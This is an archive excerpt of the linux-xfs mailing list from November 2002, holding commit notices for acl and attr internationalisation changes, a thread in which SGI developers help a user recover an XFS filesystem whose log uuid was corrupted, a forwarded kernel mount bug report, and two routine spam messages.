SMTP id RAA02656 for ; Fri, 29 Nov 2002 17:06:14 -0600 Message-Id: <200211292306.RAA02656@neutron.toe.cssgroup.net> Mime-Version: 1.0 Content-type: text/html; charset="US-Ascii" Content-Transfer-Encoding: 7bit Date: Fri, 29 Nov 2002 17:06:14 -0600 To: linux-xfs@oss.sgi.com From: Info Subject: On-Line Demo - Enhanced Customer Interaction X-archive-position: 1898 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Info@cssgroup.net Precedence: bulk X-list: linux-xfs DM Demo Email

 

 



You may contact us at CSS Group 1-800-448-8432, or visit our web page at www.cssgroup.net



Click the following link to send a removal request to CSS Group. Remove Requests
If you wish to remove an e-mail address other than your own please indicate this in the e-mail.
From owner-linux-xfs@oss.sgi.com Fri Nov 29 15:41:16 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 29 Nov 2002 15:41:20 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gATNfFuR021534 for ; Fri, 29 Nov 2002 15:41:15 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gATMm6Kp012873 for ; Fri, 29 Nov 2002 14:48:07 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA52267; Sat, 30 Nov 2002 10:42:42 +1100 (EST) Date: Sat, 30 Nov 2002 10:42:42 +1100 (EST) From: Nathan Scott Message-Id: <200211292342.KAA52267@snort.melbourne.sgi.com> To: agruen@suse.de, linux-xfs@oss.sgi.com Subject: TAKE - acl I18N updates X-archive-position: 1899 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Date: Fri Nov 29 15:41:36 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:134033a cmd/acl/configure.in - 1.22 cmd/acl/chacl/chacl.c - 1.17 cmd/acl/include/buildrules - 1.12 cmd/acl/include/builddefs.in - 1.23 cmd/acl/setfacl/setfacl.c - 1.6 cmd/acl/po/de.po - 1.4 cmd/acl/po/acl.pot - 1.5 cmd/acl/libacl/acl_error.c - 1.4 cmd/acl/include/config.h.in - 1.3 cmd/acl/getfacl/getfacl.c - 1.7 cmd/acl/po/Makefile - 1.6 cmd/acl/include/buildmacros - 1.6 - I18N updates from Andreas, add an --enable-gettext configure option (defaults to yes). From owner-linux-xfs@oss.sgi.com Fri Nov 29 15:58:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 29 Nov 2002 15:58:17 -0800 (PST) Received: from antares.cedar.buffalo.edu (antares.cedar.Buffalo.EDU [128.205.33.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gATNwCuR022070 for ; Fri, 29 Nov 2002 15:58:12 -0800 Received: (qmail 19737 invoked from network); 30 Nov 2002 00:01:01 -0000 Received: from zaurak.cedar.buffalo.edu (128.205.33.110) by antares.cedar.buffalo.edu with SMTP; 30 Nov 2002 00:01:01 -0000 Received: from zaurak.cedar.Buffalo.EDU (localhost.localdomain [127.0.0.1]) by zaurak.cedar.Buffalo.EDU (8.12.5/8.12.5) with ESMTP id gAU0104p018525 for ; Fri, 29 Nov 2002 19:01:00 -0500 Received: (from ajay@localhost) by zaurak.cedar.Buffalo.EDU (8.12.5/8.12.5/Submit) id gAU00x8o018521 for linux-xfs@oss.sgi.com; Fri, 29 Nov 2002 19:00:59 -0500 Date: Fri, 29 Nov 2002 19:00:59 -0500 From: Ajay Shekhawat To: linux-xfs@oss.sgi.com Subject: XFS trouble (!) Message-ID: <20021130000059.GA18501@zaurak.cedar.Buffalo.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Organization: Center for Document Analysis and Recognition X-OfficePhone: +1 (716)-645-6164 ext. 101 X-Fax-Number: +1 (716)-645-6176 X-archive-position: 1900 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ajay@cedar.buffalo.edu Precedence: bulk X-list: linux-xfs I'm trying to recover an XFS filesystem that might have gotten corrupted due to a bad RAID controller. The system is running Linux kernel v2.4.19 with the associated XFS patches. It was originally running 2.4.17 with the XFS patches. It is a fairly big filesystem (about 1TB). On boot, the OS refuses to mount it: says bad superblock. xfs_check didn't print anything (I'm running it again now, and it slowly expands to use up the 2GB of physical memory on the server). "xfs_repair -n" didn't offer to do much either (it didn't complain loudly about the inodes or something), and I didn't run xfs_repair without the "-n" for fear of trashing the whole thing. Since I'm leery about losing the data (yeah, we have backups, but... :-} ), what are my options? Any help would be appreciated! Thanks, Ajay From owner-linux-xfs@oss.sgi.com Fri Nov 29 18:48:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 29 Nov 2002 18:48:42 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAU2meuR023578 for ; Fri, 29 Nov 2002 18:48:40 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAU1tVKp021646 for ; Fri, 29 Nov 2002 17:55:32 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id NAA55154; Sat, 30 Nov 2002 13:50:08 +1100 (EST) Date: Sat, 30 Nov 2002 13:50:08 +1100 (EST) From: Nathan Scott Message-Id: <200211300250.NAA55154@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: agruen@suse.de Subject: TAKE - attr package I18N changes X-archive-position: 1901 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Date: Fri Nov 29 18:48:51 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:134036a cmd/attr/po/attr.pot - 1.1 cmd/attr/include/config.h.in - 1.1 cmd/attr/po/Makefile - 1.1 cmd/attr/configure.in - 1.12 cmd/attr/Makefile - 1.10 cmd/attr/VERSION - 1.27 cmd/attr/doc/CHANGES - 1.34 cmd/attr/attr/attr.c - 1.10 cmd/attr/include/buildrules - 1.8 cmd/attr/include/Makefile - 1.9 cmd/attr/include/builddefs.in - 1.19 cmd/attr/debian/control - 1.9 cmd/attr/debian/changelog - 1.29 cmd/attr/setfattr/setfattr.c - 1.11 cmd/attr/getfattr/getfattr.c - 1.17 cmd/attr/include/buildmacros - 1.5 - attr package I18N changes. From owner-linux-xfs@oss.sgi.com Fri Nov 29 18:54:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 29 Nov 2002 18:54:01 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAU2s0uR024036 for ; Fri, 29 Nov 2002 18:54:00 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with SMTP id gAU0umG8015124 for ; Fri, 29 Nov 2002 16:56:49 -0800 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA10713; Sat, 30 Nov 2002 13:55:27 +1100 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id NAA29048; Sat, 30 Nov 2002 13:55:27 +1100 (EST) Date: Sat, 30 Nov 2002 13:55:26 +1100 From: Nathan Scott To: Ajay Shekhawat Cc: linux-xfs@oss.sgi.com Subject: Re: XFS trouble (!) Message-ID: <20021130135526.A526752@wobbly.melbourne.sgi.com> References: <20021130000059.GA18501@zaurak.cedar.Buffalo.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20021130000059.GA18501@zaurak.cedar.Buffalo.EDU>; from ajay@cedar.buffalo.edu on Fri, Nov 29, 2002 at 07:00:59PM -0500 X-archive-position: 1902 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Fri, Nov 29, 2002 at 07:00:59PM -0500, Ajay Shekhawat wrote: > I'm trying to recover an XFS filesystem that might have gotten corrupted > due to a bad RAID controller. The system is running Linux kernel v2.4.19 > with the associated XFS patches. It was originally running 2.4.17 with the > XFS patches. It is a fairly big filesystem (about 1TB). > On boot, the OS refuses to mount it: says bad superblock. Can you send (cut & paste) the exact error message from your system logs? This will show exactly which point in the XFS mount code an error is being flagged. -- thanks. > "xfs_repair -n" didn't offer to do much either (it didn't complain loudly > about the inodes or something), and I didn't run xfs_repair without the > "-n" for fear of trashing the whole thing. Its strange that xfs_repair is unable to detect any problem but the mount is failing - the kernel mount path basically does a simplified version of the consistency checks that xfs_repair does; so if mount says the SB is bogus, repair should notice it too. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Fri Nov 29 19:48:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 29 Nov 2002 19:49:03 -0800 (PST) Received: from antares.cedar.buffalo.edu (antares.cedar.Buffalo.EDU [128.205.33.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAU3mwuR024777 for ; Fri, 29 Nov 2002 19:48:59 -0800 Received: (qmail 20943 invoked from network); 30 Nov 2002 03:51:48 -0000 Received: from zaurak.cedar.buffalo.edu (128.205.33.110) by antares.cedar.buffalo.edu with SMTP; 30 Nov 2002 03:51:48 -0000 Received: from zaurak.cedar.Buffalo.EDU (localhost.localdomain [127.0.0.1]) by zaurak.cedar.Buffalo.EDU (8.12.5/8.12.5) with ESMTP id gAU3pm4p018965; Fri, 29 Nov 2002 22:51:48 -0500 Received: (from ajay@localhost) by zaurak.cedar.Buffalo.EDU (8.12.5/8.12.5/Submit) id gAU3pmUI018963; Fri, 29 Nov 2002 22:51:48 -0500 Date: Fri, 29 Nov 2002 22:51:48 -0500 From: Ajay Shekhawat To: Nathan Scott Cc: linux-xfs@oss.sgi.com Subject: Re: XFS trouble (!) Message-ID: <20021130035148.GB18501@zaurak.cedar.Buffalo.EDU> References: <20021130000059.GA18501@zaurak.cedar.Buffalo.EDU> <20021130135526.A526752@wobbly.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021130135526.A526752@wobbly.melbourne.sgi.com> User-Agent: Mutt/1.4i Organization: Center for Document Analysis and Recognition X-OfficePhone: +1 (716)-645-6164 ext. 101 X-Fax-Number: +1 (716)-645-6176 X-archive-position: 1903 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ajay@cedar.buffalo.edu Precedence: bulk X-list: linux-xfs On Sat, Nov 30, 2002 at 01:55:26PM +1100, Nathan Scott wrote: > Can you send (cut & paste) the exact error message from your > system logs? This will show exactly which point in the XFS > mount code an error is being flagged. -- thanks. Nathan, Here's the snippet from /var/log/messages: Nov 29 12:44:15 gasque kernel: XFS: nil uuid in log - IRIX style logXFS: failed to locate log tailXFS: log mount/recovery failedXFS: log mount failedXFS mounting filesystem lvm(58,0) Thats it. No other messages. I did "xfs_db -r -c uuid /dev/raid/vol", and it printed a non-nil uuid. > Its strange that xfs_repair is unable to detect any problem > but the mount is failing - the kernel mount path basically does > a simplified version of the consistency checks that xfs_repair > does; so if mount says the SB is bogus, repair should notice > it too. Here's the output of 'xfs_repair -n': [ajay@xxx]$ sudo ./xfs_repair -n /dev/raid/vol Phase 1 - find and verify superblock... Phase 2 - using internal log - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan (but don't clear) agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 . . . . . . . . . - agno = 236 - agno = 237 - agno = 238 - agno = 239 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 . . . . . . . . . - agno = 236 - agno = 237 - agno = 238 - agno = 239 No modify flag set, skipping phase 5 Phase 6 - check inode connectivity... - traversing filesystem starting at / ... (it is still running; don't want to interrupt it) Should I just go ahead and run 'xfs_repair' without the "-n" ? > cheers. I need some. :-) Ajay From owner-linux-xfs@oss.sgi.com Fri Nov 29 20:39:05 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 29 Nov 2002 20:39:09 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAU4d4uR025952 for ; Fri, 29 Nov 2002 20:39:05 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with SMTP id gAU2frG8019469 for ; Fri, 29 Nov 2002 18:41:54 -0800 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA11081; Sat, 30 Nov 2002 15:40:32 +1100 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id PAA20881; Sat, 30 Nov 2002 15:40:32 +1100 (EST) Date: Sat, 30 Nov 2002 15:40:32 +1100 From: Nathan Scott To: Ajay Shekhawat Cc: linux-xfs@oss.sgi.com Subject: Re: XFS trouble (!) Message-ID: <20021130154031.B526752@wobbly.melbourne.sgi.com> References: <20021130000059.GA18501@zaurak.cedar.Buffalo.EDU> <20021130135526.A526752@wobbly.melbourne.sgi.com> <20021130035148.GB18501@zaurak.cedar.Buffalo.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20021130035148.GB18501@zaurak.cedar.Buffalo.EDU>; from ajay@cedar.buffalo.edu on Fri, Nov 29, 2002 at 10:51:48PM -0500 X-archive-position: 1904 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Fri, Nov 29, 2002 at 10:51:48PM -0500, Ajay Shekhawat wrote: > On Sat, Nov 30, 2002 at 01:55:26PM +1100, Nathan Scott wrote: > > Can you send (cut & paste) the exact error message from your > > system logs? This will show exactly which point in the XFS > > mount code an error is being flagged. -- thanks. > > Nathan, > Here's the snippet from /var/log/messages: > Nov 29 12:44:15 gasque kernel: XFS: nil uuid in log - IRIX style logXFS: failed > to locate log tailXFS: log mount/recovery failedXFS: log mount failedXFS mounting filesystem lvm(58,0) > > Thats it. No other messages. Ah, I see. Is this a CVS kernel from sometime in the last week or two? > I did "xfs_db -r -c uuid /dev/raid/vol", and it printed a non-nil uuid. Yeah, thats the uuid from the superblock - mount is saying the uuid in the log is nil (different place on disk, should be same uuid). > > (it is still running; don't want to interrupt it) > > Should I just go ahead and run 'xfs_repair' without the "-n" ? > If this is a kernel which had some of the CVS breakage from the last week or so, then you may find changing the uuid using xfs_db to be enough to get you up and running again (because xfs_db will write both the log uuid and the superblock uuids; and will zero the log for you too, which is what we really want here). Assuming this is a recent kernel, don't go back to that same one - if it is one with this problem it will corrupt the log straight away again during recovery. Get current CVS, its fairly good; or better yet get the 1.2 release - its more stable than CVS is just now. Good luck! (at this stage, looks like you only have corruption in the log, so xfs_repair is not going to help too much there - except to say there's no corruption elsewhere, which is good). cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Sat Nov 30 00:12:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 30 Nov 2002 00:12:54 -0800 (PST) Received: from bigmir.net (nycmny1-ar1-4-43-250-063.nycmny1.elnk.dsl.genuity.net [4.43.250.63]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAU8CpuR029057 for ; Sat, 30 Nov 2002 00:12:51 -0800 Message-Id: <200211300812.gAU8CpuR029057@oss.sgi.com> Content-Type: text/plain; charset="US-ASCII" Date: Sat, 30 Nov 2002 03:15:28 -0500 To: linux-xfs@oss.sgi.com From: webtraffic@bigmir.net X-Mailer: Version 5.0 Subject: FREE traffic to YOUR website ! Organization: X-archive-position: 1905 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: webtraffic@bigmir.net Precedence: bulk X-list: linux-xfs Hi, My name is Mike and I have visited your web site. I love it. So I have decided to write to you. I thought that because generating traffic is so critical for any website, you could be interested in some information I have about FREE web traffic. If you want to read it, simply reply to this email with a blank message and I will email it to you. Have a great day, Mike. From owner-linux-xfs@oss.sgi.com Sat Nov 30 10:03:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 30 Nov 2002 10:03:16 -0800 (PST) Received: from antares.cedar.buffalo.edu (antares.cedar.Buffalo.EDU [128.205.33.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAUI3BuR019731 for ; Sat, 30 Nov 2002 10:03:11 -0800 Received: (qmail 24959 invoked from network); 30 Nov 2002 18:06:03 -0000 Received: from zaurak.cedar.buffalo.edu (128.205.33.110) by antares.cedar.buffalo.edu with SMTP; 30 Nov 2002 18:06:03 -0000 Received: from zaurak.cedar.Buffalo.EDU (localhost.localdomain [127.0.0.1]) by zaurak.cedar.Buffalo.EDU (8.12.5/8.12.5) with ESMTP id gAUI624p019985; Sat, 30 Nov 2002 13:06:03 -0500 Received: (from ajay@localhost) by zaurak.cedar.Buffalo.EDU (8.12.5/8.12.5/Submit) id gAUI62Z9019983; Sat, 30 Nov 2002 13:06:02 -0500 Date: Sat, 30 Nov 2002 13:06:02 -0500 From: Ajay Shekhawat To: Nathan Scott Cc: linux-xfs@oss.sgi.com Subject: Re: XFS trouble (!) Message-ID: <20021130180602.GC18501@zaurak.cedar.Buffalo.EDU> References: <20021130000059.GA18501@zaurak.cedar.Buffalo.EDU> <20021130135526.A526752@wobbly.melbourne.sgi.com> <20021130035148.GB18501@zaurak.cedar.Buffalo.EDU> <20021130154031.B526752@wobbly.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021130154031.B526752@wobbly.melbourne.sgi.com> User-Agent: Mutt/1.4i Organization: Center for Document Analysis and Recognition X-OfficePhone: +1 (716)-645-6164 ext. 101 X-Fax-Number: +1 (716)-645-6176 X-archive-position: 1906 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ajay@cedar.buffalo.edu Precedence: bulk X-list: linux-xfs On Sat, Nov 30, 2002 at 03:40:32PM +1100, Nathan Scott wrote: > > Nathan, > > Here's the snippet from /var/log/messages: > > Nov 29 12:44:15 gasque kernel: XFS: nil uuid in log - IRIX style logXFS: failed > > to locate log tailXFS: log mount/recovery failedXFS: log mount failedXFS mounting filesystem lvm(58,0) > > > > Thats it. No other messages. > > Ah, I see. > > Is this a CVS kernel from sometime in the last week or two? I downloaded the 2.4.19 kernel, and patched it with the patches at ftp://oss.sgi.com/projects/xfs/patches/2.4.19/ I thought that would be the best way to go, since 2.4.19 is a "stable" kernel (well, "was" would be the operative word now that 2.4.20 is out :-/) > > I did "xfs_db -r -c uuid /dev/raid/vol", and it printed a non-nil uuid. > > Yeah, thats the uuid from the superblock - mount is saying the uuid > in the log is nil (different place on disk, should be same uuid). I gave the command uuid in xfs_db, and it was able to mount the filesystem. Everything _appears_ to be there, though it is difficult to check quickly. So what are my options now: should I do a 'xfs_check' again? Should I migrate to the latest CVS branch? It is a production machine, though, and I'm not sure if the latest bleeding edge release is the way to go (if something happens, a lot of sharp soon-to-be-bleeding edges will head my way). > If this is a kernel which had some of the CVS breakage from the > last week or so, then you may find changing the uuid using xfs_db > to be enough to get you up and running again (because xfs_db will > write both the log uuid and the superblock uuids; and will zero > the log for you too, which is what we really want here). > > Assuming this is a recent kernel, don't go back to that same one - > if it is one with this problem it will corrupt the log straight > away again during recovery. Get current CVS, its fairly good; or > better yet get the 1.2 release - its more stable than CVS is just > now. There is no "1.2" release; it is still in "pre3" right now. > Good luck! (at this stage, looks like you only have corruption in > the log, so xfs_repair is not going to help too much there - except > to say there's no corruption elsewhere, which is good). > > cheers. Thanks for the help, and thanks to SGI for making XFS available. It is a pretty good filesystem. Of course, it can't be blamed if the underlying hardware croaks. Ajay From owner-linux-xfs@oss.sgi.com Sat Nov 30 12:48:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 30 Nov 2002 12:49:01 -0800 (PST) Received: from security.wayne.edu (www.security.wayne.edu [141.217.2.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAUKmsuR021329 for ; Sat, 30 Nov 2002 12:48:55 -0800 Received: from security.wayne.edu (nlabadie@localhost [127.0.0.1]) by security.wayne.edu (8.12.6/8.12.6) with ESMTP id gAUKpgkq010478 for ; Sat, 30 Nov 2002 15:51:42 -0500 Received: (from nlabadie@localhost) by security.wayne.edu (8.12.6/8.12.6/Submit) id gAUKpgxF010477 for linux-xfs@oss.sgi.com; Sat, 30 Nov 2002 15:51:42 -0500 Date: Sat, 30 Nov 2002 15:51:42 -0500 From: "Nathan W. Labadie" To: linux-xfs@oss.sgi.com Subject: Fwd: [Bug 114] New: 2.5.49 unable to mount XFS partition Message-ID: <20021130205142.GA10463@security.wayne.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-gpg-key: http://security.wayne.edu/keys/nathan_labadie.key X-gpg-fingerprint: FB19 5F58 9CF2 8E8C E221 5603 9D75 0FB3 06C0 1952 X-archive-position: 1907 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ab0781@wayne.edu Precedence: bulk X-list: linux-xfs Any ideas on this? Thanks much, Nate ----- Forwarded message from bugme-daemon@osdl.org ----- From: bugme-daemon@osdl.org Date: Sat, 23 Nov 2002 12:10:12 -0800 To: ab0781@wayne.edu Subject: [Bug 114] New: 2.5.49 unable to mount XFS partition http://bugme.osdl.org/show_bug.cgi?id=114 Summary: 2.5.49 unable to mount XFS partition Category: File System Version: 2.5 Architecture: IA-32 OS/Version: Linux Status: OPEN Severity: normal Priority: P2 Component: Other Owner: mbligh@aracnet.com Submitter: ab0781@wayne.edu (Please check that the problem happens on Linus' tree if not then file under the Alternate Trees category.) Exact Kernel version: 2.5.49 Distribution: Gentoo 1.4 Hardware Environment: Software Environment: GCC 3.2.1 Problem Description: My root partition is XFS. I was able to mount the partition with previous 2.5.40+ kernels. When using 2.5.49 I am unable to mount the partition at boot with the standard "unable to mount root partition error". XFS is compiled directly into the kernel. Steps to reproduce: See above. ------- You are receiving this mail because: ------- You reported the bug, or are watching the reporter. ----- End forwarded message ----- -- Nathan W. Labadie | ab0781@wayne.edu Sr. Security Specialist | 313-577-2126 Wayne State University | 313-577-1338 fax C&IT Information Security Office: http://security.wayne.edu From owner-linux-xfs@oss.sgi.com Sat Nov 30 15:42:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 30 Nov 2002 15:42:15 -0800 (PST) Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAUNg9uR023190 for ; Sat, 30 Nov 2002 15:42:10 -0800 Received: (qmail 14393 invoked from network); 30 Nov 2002 23:45:00 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 30 Nov 2002 23:45:00 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id 4015E3000B8; Sun, 1 Dec 2002 10:44:50 +1100 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id AE19385; Sun, 1 Dec 2002 10:44:50 +1100 (EST) X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 From: Keith Owens To: Ajay Shekhawat Cc: linux-xfs@oss.sgi.com Subject: Re: XFS trouble (!) In-reply-to: Your message of "Sat, 30 Nov 2002 13:06:02 CDT." <20021130180602.GC18501@zaurak.cedar.Buffalo.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Dec 2002 10:44:45 +1100 Message-ID: <3030.1038699885@ocs3.intra.ocs.com.au> X-archive-position: 1908 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs On Sat, 30 Nov 2002 13:06:02 -0500, Ajay Shekhawat wrote: >I downloaded the 2.4.19 kernel, and patched it with the patches at > ftp://oss.sgi.com/projects/xfs/patches/2.4.19/ >I thought that would be the best way to go, since 2.4.19 is a "stable" >kernel The 2.4.19 XFS patches have been respun several times, when did you download? The XFS version message at boot time will tell you, all bug reports should include that message. >(well, "was" would be the operative word now that 2.4.20 is out :-/) There are also split patches against 2.4.20, they are the equivalent of the XFS CVS tree as of 2002-11-29_01:21_UTC.